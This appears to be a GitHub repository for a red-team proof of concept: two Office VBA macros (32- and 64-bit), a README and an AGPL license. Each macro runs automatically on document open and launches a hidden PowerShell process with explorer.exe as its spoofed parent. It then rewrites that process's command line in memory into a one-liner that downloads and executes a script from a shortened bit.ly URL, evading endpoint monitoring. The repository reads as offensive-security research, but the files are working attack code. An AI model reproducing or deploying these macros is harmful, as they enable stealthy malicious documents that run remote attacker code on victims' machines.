├── README.md ├── macro.vba ├── macro64.vba └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | This repository contains an example of a VBA macro spawning a process with a spoofed parent and command line. Companion blog post: [Building an Office macro to spoof parent processes and command line arguments](https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line) 2 | 3 | ## Demo 4 | 5 | Click for full size. 6 | 7 | ![Demo](https://user-images.githubusercontent.com/136675/54154646-49e44780-443a-11e9-998d-ec1f54a83437.gif) 8 | 9 | 10 | ## Notes 11 | 12 | - The 32-bit initial PoC was written and tested by myself, on Windows 10 with Office Professional Plus 2016, version 1902. 13 | 14 | - The 64-bit version is a contribution brought by [@py7hagoras](https://github.com/py7hagoras). 15 | 16 | - The size of the original command line stored in [`originalCli`](https://github.com/christophetd/spoofing-office-macro/blob/master/macro.vba#L260) needs to be greater than the size of the real one stored in [`cmdStr`](https://github.com/christophetd/spoofing-office-macro/blob/master/macro.vba#L311) 17 | 18 | ## Acknowledgments & inspiration 19 | 20 | - ["Red Teaming in the EDR age"](https://www.youtube.com/watch?v=l8nkXCOYQC4) by Will Burgess 21 | - https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/ 22 | - https://twitter.com/subtee 23 | 24 | ## Disclaimer 25 | 26 | You are solely responsible for the use you make of this PoC. I assume no liability for any misuse or damage caused by this program. 27 | -------------------------------------------------------------------------------- /macro.vba: -------------------------------------------------------------------------------- 1 | 2 | ' Windows API constants 3 | 4 | Const EXTENDED_STARTUPINFO_PRESENT = &H80000 5 | Const HEAP_ZERO_MEMORY = &H8& 6 | Const SW_HIDE = &H0& 7 | Const PROCESS_ALL_ACCESS = &H1F0FFF 8 | Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000 9 | Const TH32CS_SNAPPROCESS = &H2& 10 | Const MAX_PATH = 260 11 | 12 | 13 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 14 | ''''''''''''''' Data types '''''''''''''''''''''''' 15 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 16 | 17 | 18 | 19 | Private Type PROCESS_INFORMATION 20 | hProcess As LongPtr 21 | hThread As LongPtr 22 | dwProcessId As Long 23 | dwThreadId As Long 24 | End Type 25 | 26 | 27 | Private Type STARTUP_INFO 28 | cb As Long 29 | lpReserved As String 30 | lpDesktop As String 31 | lpTitle As String 32 | dwX As Long 33 | dwY As Long 34 | dwXSize As Long 35 | dwYSize As Long 36 | dwXCountChars As Long 37 | dwYCountChars As Long 38 | dwFillAttribute As Long 39 | dwFlags As Long 40 | wShowWindow As Integer 41 | cbReserved2 As Integer 42 | lpReserved2 As Byte 43 | hStdInput As LongPtr 44 | hStdOutput As LongPtr 45 | hStdError As LongPtr 46 | End Type 47 | 48 | Private Type STARTUPINFOEX 49 | STARTUPINFO As STARTUP_INFO 50 | lpAttributelist As LongPtr 51 | End Type 52 | 53 | ' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads 54 | Private Type PROCESS_BASIC_INFORMATION 55 | ExitStatus As Long 56 | PEBBaseAddress As Long 57 | AffinityMask As Long 58 | BasePriority As Long 59 | UniqueProcessId As Long 60 | ParentProcessId As Long 61 | End Type 62 | 63 | 64 | Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _ 65 | ByVal processHandle As LongPtr, _ 66 | ByVal processInformationClass As Long, _ 67 | ByRef processInformation As PROCESS_BASIC_INFORMATION, _ 68 | ByVal processInformationLength As Long, _ 69 | ByRef returnLength As Long _ 70 | ) As Integer 71 | 72 | 73 | ' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/ 74 | Private Type PEB 75 | Reserved1(1) As Byte 76 | BeingDebugged As Byte 77 | Reserved2 As Byte 78 | Reserved3(1) As Long 79 | Ldr As Long 80 | ProcessParameters As Long 81 | Reserved4(103) As Byte 82 | Reserved5(51) As Long 83 | PostProcessInitRoutine As Long 84 | Reserved6(127) As Byte 85 | Reserved7 As Long 86 | SessionId As Long 87 | End Type 88 | 89 | 90 | Private Type UNICODE_STRING 91 | Length As Integer 92 | MaximumLength As Integer 93 | Buffer As Long 94 | ' to change ^ to Long 95 | End Type 96 | 97 | Private Type RTL_USER_PROCESS_PARAMETERS 98 | Reserved1(15) As Byte 99 | Reserved2(9) As Long 100 | ImagePathName As UNICODE_STRING 101 | CommandLine As UNICODE_STRING 102 | End Type 103 | 104 | 105 | Private Type PROCESSENTRY32 106 | dwSize As Long 107 | cntUsage As Long 108 | th32ProcessID As Long 109 | th32DefaultHeapID As Long 110 | th32ModuleID As Long 111 | cntThreads As Long 112 | th32ParentProcessID As Long 113 | pcPriClassBase As Long 114 | dwFlags As Long 115 | szexeFile As String * MAX_PATH 116 | End Type 117 | 118 | 119 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 120 | ''''''''''''' kernel32 & ntdll bindings ''''''''''''' 121 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 122 | 123 | Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ 124 | ByVal lpApplicationName As String, _ 125 | ByVal lpCommandLine As String, _ 126 | lpProcessAttributes As Long, _ 127 | lpThreadAttributes As Long, _ 128 | ByVal bInheritHandles As Long, _ 129 | ByVal dwCreationFlags As Long, _ 130 | lpEnvironment As Any, _ 131 | ByVal lpCurrentDriectory As String, _ 132 | ByVal lpStartupInfo As LongPtr, _ 133 | lpProcessInformation As PROCESS_INFORMATION _ 134 | ) As Long 135 | 136 | 137 | Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ 138 | ByVal dwAccess As Long, _ 139 | ByVal fInherit As Integer, _ 140 | ByVal hObject As Long _ 141 | ) As Long 142 | 143 | 144 | Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ 145 | ByVal hHeap As LongPtr, _ 146 | ByVal dwFlags As Long, _ 147 | ByVal dwBytes As Long _ 148 | ) As LongPtr 149 | 150 | 151 | Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr 152 | 153 | 154 | Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ 155 | ByVal lpAttributelist As LongPtr, _ 156 | ByVal dwAttributeCount As Integer, _ 157 | ByVal dwFlags As Integer, _ 158 | ByRef lpSize As Integer _ 159 | ) As Boolean 160 | 161 | 162 | Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ 163 | ByVal lpAttributelist As LongPtr, _ 164 | ByVal dwFlags As Integer, _ 165 | ByVal lpAttribute As Long, _ 166 | ByRef lpValue As Long, _ 167 | ByVal cbSize As Integer, _ 168 | ByRef lpPreviousValue As Integer, _ 169 | ByRef lpReturnSize As Integer _ 170 | ) As Boolean 171 | 172 | Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ 173 | ByVal dwFlags As Integer, _ 174 | ByVal th32ProcessID As Integer _ 175 | ) As Long 176 | 177 | Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ 178 | ByVal hSnapshot As LongPtr, _ 179 | ByRef lppe As PROCESSENTRY32 _ 180 | ) As Boolean 181 | 182 | Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ 183 | ByVal hSnapshot As LongPtr, _ 184 | ByRef lppe As PROCESSENTRY32 _ 185 | ) As Boolean 186 | 187 | 188 | Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _ 189 | ByVal hProcess As LongPtr, _ 190 | ByVal lpBaseAddress As LongPtr, _ 191 | ByVal lpBuffer As LongPtr, _ 192 | ByVal nSize As Long, _ 193 | ByRef lpNumberOfBytesRead As Long _ 194 | ) As Boolean 195 | 196 | Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ 197 | ByVal hProcess As LongPtr, _ 198 | ByVal lpBaseAddress As Long, _ 199 | ByVal lpBuffer As Any, _ 200 | ByVal nSize As Long, _ 201 | ByRef lpNumberOfBytesWritten As Long _ 202 | ) As Boolean 203 | 204 | 205 | Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long 206 | 207 | 208 | ''''''''''''''''''''''''''''''''''''''''''''''' 209 | '''''''''''''' Utility functions '''''''''''''' 210 | ''''''''''''''''''''''''''''''''''''''''''''''' 211 | 212 | ' Finds the PID of a process given its name 213 | Public Function getPidByName(ByVal name As String) As Integer 214 | Dim pEntry As PROCESSENTRY32 215 | Dim continueSearching As Boolean 216 | pEntry.dwSize = Len(pEntry) 217 | Dim snapshot As LongPtr 218 | 219 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) 220 | 221 | continueSearching = Process32First(snapshot, pEntry) 222 | 223 | Do 224 | If LCase$(Left$(pEntry.szexeFile, Len(name))) = LCase$(name) Then 225 | getPidByName = pEntry.th32ProcessID 226 | continueSearching = False 227 | Else 228 | continueSearching = Process32Next(snapshot, pEntry) 229 | End If 230 | Loop While continueSearching 231 | 232 | End Function 233 | 234 | Public Function convertStr(ByVal str As String) As Byte() 235 | Dim i, j As Integer 236 | Dim result(400) As Byte 237 | j = 0 238 | For i = 1 To Len(str): 239 | result(j) = Asc(Mid(str, i, 1)) 240 | result(j + 1) = &H0 241 | j = j + 2 242 | Next 243 | 244 | convertStr = result 245 | 246 | End Function 247 | 248 | 249 | 250 | Sub AutoOpen() 251 | 252 | Dim pi As PROCESS_INFORMATION 253 | Dim si As STARTUPINFOEX 254 | Dim nullStr As String 255 | Dim pid, result As Integer 256 | Dim threadAttribSize As Integer 257 | Dim parentHandle As LongPtr 258 | Dim originalCli As String 259 | 260 | originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName" 261 | 262 | ' Get a handle on the process to be used as a parent 263 | pid = getPidByName("explorer.exe") 264 | parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) 265 | 266 | ' Initialize process attribute list 267 | result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) 268 | si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) 269 | result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) 270 | 271 | ' Set the parent to be our previous handle 272 | result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&) 273 | 274 | ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks) 275 | si.STARTUPINFO.cb = LenB(si) 276 | 277 | ' Hide new process window 278 | si.STARTUPINFO.dwFlags = 1 279 | si.STARTUPINFO.wShowWindow = SW_HIDE 280 | 281 | result = CreateProcess( _ 282 | nullStr, _ 283 | originalCli, _ 284 | ByVal 0&, _ 285 | ByVal 0&, _ 286 | 1&, _ 287 | &H80014, _ 288 | ByVal 0&, _ 289 | nullStr, _ 290 | VarPtr(si), _ 291 | pi _ 292 | ) 293 | 294 | ' Spoofing of cli arguments 295 | Dim size As Long 296 | Dim PEB As PEB 297 | Dim pbi As PROCESS_BASIC_INFORMATION 298 | Dim newProcessHandle As LongPtr 299 | Dim success As Boolean 300 | Dim parameters As RTL_USER_PROCESS_PARAMETERS 301 | Dim cmdStr As String 302 | Dim cmd() As Byte 303 | 304 | 305 | newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId) 306 | result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size) 307 | success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size) 308 | ' peb.ProcessParameters now contains the address to the parameters - read them 309 | success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size) 310 | 311 | cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) # " 312 | cmd = convertStr(cmdStr) 313 | success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size) 314 | ResumeThread (pi.hThread) 315 | End Sub 316 | -------------------------------------------------------------------------------- /macro64.vba: -------------------------------------------------------------------------------- 1 | ' Windows API constants 2 | 3 | Const EXTENDED_STARTUPINFO_PRESENT = &H80000 4 | Const HEAP_ZERO_MEMORY = &H8& 5 | Const SW_HIDE = &H0& 6 | Const PROCESS_ALL_ACCESS = &H1F0FFF 7 | Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000 8 | Const TH32CS_SNAPPROCESS = &H2& 9 | Const MAX_PATH = 260 10 | 11 | 12 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 13 | ''''''''''''''' Data types '''''''''''''''''''''''' 14 | ''''''''''''''''''''''''''''''''''''''''''''''''''' 15 | 16 | 17 | Private Type LARGE_INTEGER 18 | lowpart As Long 19 | highpart As Long 20 | End Type 21 | 22 | Private Type UNICODE_STRING64 23 | Length As Integer 24 | MaxLength As Integer 25 | lPad As Long 26 | lpBuffer As LongPtr 27 | End Type 28 | 29 | Private Type RTL_USER_PROCESS_PARAMETERS 30 | Reserved1(15) As Byte 31 | Reserved2(9) As Long 32 | CurrentDirectoryPath As UNICODE_STRING64 33 | CurrentDirectoryHandle As LongPtr 34 | DllPath As UNICODE_STRING64 35 | ImagePathName As UNICODE_STRING64 36 | CommandLine As UNICODE_STRING64 37 | Environment As LongPtr 38 | End Type 39 | 40 | Private Type PROCESS_BASIC_INFORMATION 41 | ExitStatus As Long 42 | Reserved0 As Long 43 | PebBaseAddress As LongPtr 44 | AffinityMask As LARGE_INTEGER 45 | BasePriority As Long 46 | Reserved1 As Long 47 | uUniqueProcessId As LARGE_INTEGER 48 | uInheritedFromUniqueProcessId As LARGE_INTEGER 49 | End Type 50 | 51 | Private Type PEB 52 | Reserved1(1) As Byte 53 | BeingDebugged As Byte 54 | Reserved2(20) As Byte 55 | Ldr As Long 56 | ProcessParameters As LongPtr 57 | Reserved3(519) As Byte 58 | PostProcessInitRoutine As Long 59 | Reserved4(135) As Byte 60 | SessionId As Long 61 | End Type 62 | 63 | Private Declare PtrSafe Function NtQueryInformationProcess Lib "ntdll" ( _ 64 | ByVal hProcess As LongPtr, _ 65 | ByVal ProcessInformationClass As Long, _ 66 | ByRef pProcessInformation As Any, _ 67 | ByVal uProcessInformationLength As Long, _ 68 | ByRef puReturnLength As LongPtr) As Long 69 | 70 | Private Declare PtrSafe Function NtReadVirtualMemory Lib "ntdll" ( _ 71 | ByVal hProcess As LongPtr, _ 72 | ByVal BaseAddress As LongPtr, _ 73 | ByRef Buffer As Any, _ 74 | ByVal BufferBytesToRead As Long, _ 75 | ByRef ReturnLength As LARGE_INTEGER) As Long 76 | 77 | Private Declare PtrSafe Function NtWriteVirtualMemory Lib "ntdll" ( _ 78 | ByVal hProcess As LongPtr, _ 79 | ByVal VABA As Any, _ 80 | ByVal lpBuffer As Any, _ 81 | ByVal nSS As Long, _ 82 | ByRef NOBW As LARGE_INTEGER) As Boolean 83 | 84 | Private Type PROCESS_INFORMATION 85 | hProcess As LongPtr 86 | hThread As LongPtr 87 | dwProcessId As Long 88 | dwThreadId As Long 89 | End Type 90 | 91 | Private Type STARTUP_INFO 92 | cb As Long 93 | lpReserved As String 94 | lpDesktop As String 95 | lpTitle As String 96 | dwX As Long 97 | dwY As Long 98 | dwXSize As Long 99 | dwYSize As Long 100 | dwXCountChars As Long 101 | dwYCountChars As Long 102 | dwFillAttribute As Long 103 | dwFlags As Long 104 | wShowWindow As Integer 105 | cbReserved2 As Integer 106 | lpReserved2 As LongPtr 107 | hStdInput As LongPtr 108 | hStdOutput As LongPtr 109 | hStdError As LongPtr 110 | End Type 111 | 112 | Private Type STARTUPINFOEX 113 | STARTUPINFO As STARTUP_INFO 114 | lpAttributelist As LongPtr 115 | End Type 116 | 117 | ' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/ 118 | 119 | Private Type PROCESSENTRY32 120 | dwSize As Long 121 | cntUsage As Long 122 | th32ProcessID As Long 123 | th32DefaultHeapID As Long 124 | th32ModuleID As Long 125 | cntThreads As Long 126 | th32ParentProcessID As Long 127 | pcPriClassBase As Long 128 | dwFlags As Long 129 | szexeFile As String * MAX_PATH 130 | End Type 131 | 132 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 133 | ''''''''''''' kernel32 & ntdll bindings ''''''''''''' 134 | ''''''''''''''''''''''''''''''''''''''''''''''''''''' 135 | 136 | Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ 137 | ByVal lpApplicationName As String, _ 138 | ByVal lpCommandLine As String, _ 139 | lpProcessAttributes As Long, _ 140 | lpThreadAttributes As Long, _ 141 | ByVal bInheritHandles As Long, _ 142 | ByVal dwCreationFlags As Long, _ 143 | lpEnvironment As Any, _ 144 | ByVal lpCurrentDriectory As String, _ 145 | ByVal lpStartupInfo As LongPtr, _ 146 | lpProcessInformation As PROCESS_INFORMATION _ 147 | ) As Long 148 | 149 | Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ 150 | ByVal dwAccess As Long, _ 151 | ByVal fInherit As Long, _ 152 | ByVal hObject As Long _ 153 | ) As LongPtr 154 | 155 | Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ 156 | ByVal hHeap As LongPtr, _ 157 | ByVal dwFlags As Long, _ 158 | ByVal dwBytes As LongPtr _ 159 | ) As LongPtr 160 | 161 | Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr 162 | 163 | Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ 164 | ByVal lpAttributelist As LongPtr, _ 165 | ByVal dwAttributeCount As Integer, _ 166 | ByVal dwFlags As Integer, _ 167 | ByRef lpSize As Long _ 168 | ) As Boolean 169 | 170 | Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ 171 | ByVal lpAttributelist As LongPtr, _ 172 | ByVal dwFlags As Integer, _ 173 | ByVal lpAttribute As Long, _ 174 | ByRef lpValue As LongPtr, _ 175 | ByVal cbSize As Integer, _ 176 | ByRef lpPreviousValue As Integer, _ 177 | ByRef lpReturnSize As Integer _ 178 | ) As Boolean 179 | 180 | Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _ 181 | ByVal dwFlags As Integer, _ 182 | ByVal th32ProcessID As Integer _ 183 | ) As Long 184 | 185 | Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _ 186 | ByVal hSnapshot As LongPtr, _ 187 | ByRef lppe As PROCESSENTRY32 _ 188 | ) As Boolean 189 | 190 | Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _ 191 | ByVal hSnapshot As LongPtr, _ 192 | ByRef lppe As PROCESSENTRY32 _ 193 | ) As Boolean 194 | 195 | 196 | Private Declare PtrSafe Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long 197 | 198 | 199 | ''''''''''''''''''''''''''''''''''''''''''''''' 200 | '''''''''''''' Utility functions '''''''''''''' 201 | ''''''''''''''''''''''''''''''''''''''''''''''' 202 | 203 | ' Finds the PID of a process given its name 204 | Public Function getPidByName(ByVal name As String) As Integer 205 | Dim pEntry As PROCESSENTRY32 206 | Dim continueSearching As Boolean 207 | pEntry.dwSize = LenB(pEntry) 208 | Dim snapshot As LongPtr 209 | 210 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&) 211 | 212 | continueSearching = Process32First(snapshot, pEntry) 213 | 214 | Do 215 | If InStr(1, pEntry.szexeFile, name) Then 216 | getPidByName = pEntry.th32ProcessID 217 | continueSearching = False 218 | Else 219 | continueSearching = Process32Next(snapshot, pEntry) 220 | End If 221 | Loop While continueSearching 222 | 223 | End Function 224 | 225 | Public Function convertStr(ByVal str As String) As Byte() 226 | Dim i, j As Integer 227 | Dim result(400) As Byte 228 | j = 0 229 | For i = 1 To Len(str): 230 | result(j) = Asc(Mid(str, i, 1)) 231 | result(j + 1) = &H0 232 | j = j + 2 233 | Next 234 | 235 | convertStr = result 236 | 237 | End Function 238 | 239 | 240 | 241 | Sub AutoOpen() 242 | 243 | Dim pi As PROCESS_INFORMATION 244 | Dim si As STARTUPINFOEX 245 | Dim nullStr As String 246 | Dim pid, result As Integer 247 | Dim threadAttribSize As Long 248 | Dim parentHandle As LongPtr 249 | Dim originalCli As String 250 | 251 | originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName" 252 | 253 | 254 | ' Get a handle on the process to be used as a parent 255 | pid = getPidByName("explorer.exe") 256 | 257 | parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) 258 | 259 | ' Initialize process attribute list 260 | result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) 261 | blah = Err.LastDllError 262 | si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) 263 | blah = Err.LastDllError 264 | result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) 265 | 266 | ' Set the parent to be our previous handle 267 | result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&) 268 | 269 | ' Set the size of cb (see https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-_startupinfoexa#remarks) 270 | si.STARTUPINFO.cb = LenB(si) 271 | 272 | ' Hide new process window 273 | si.STARTUPINFO.dwFlags = 1 274 | si.STARTUPINFO.wShowWindow = SW_HIDE 275 | 276 | result = CreateProcess( _ 277 | nullStr, _ 278 | originalCli, _ 279 | ByVal 0&, _ 280 | ByVal 0&, _ 281 | 1&, _ 282 | &H80014, _ 283 | ByVal 0&, _ 284 | nullStr, _ 285 | VarPtr(si), _ 286 | pi _ 287 | ) 288 | 289 | ' Spoofing of cli arguments 290 | Dim size As LongPtr 291 | Dim PEB As PEB 292 | Dim pbi As PROCESS_BASIC_INFORMATION 293 | Dim newProcessHandle As LongPtr 294 | Dim success As Boolean 295 | Dim parameters As RTL_USER_PROCESS_PARAMETERS 296 | Dim cmdStr As String 297 | Dim cmd() As Byte 298 | Dim liRet As LARGE_INTEGER 299 | 300 | newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId) 301 | 302 | result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size) 303 | 304 | success = NtReadVirtualMemory(newProcessHandle, pbi.PebBaseAddress, PEB, Len(PEB), liRet) 305 | 306 | ' peb.ProcessParameters now contains the address to the parameters - read them 307 | success = NtReadVirtualMemory(newProcessHandle, PEB.ProcessParameters, parameters, Len(parameters), liRet) 308 | blah = Err.LastDllError 309 | 310 | cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h')) #" 311 | 312 | cmd = convertStr(cmdStr) 313 | success = NtWriteVirtualMemory(newProcessHandle, parameters.CommandLine.lpBuffer, StrPtr(cmd), 2 * Len(cmdStr), liRet) 314 | ResumeThread (pi.hThread) 315 | 316 | End Sub 317 | 318 | 319 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO 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Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | --------------------------------------------------------------------------------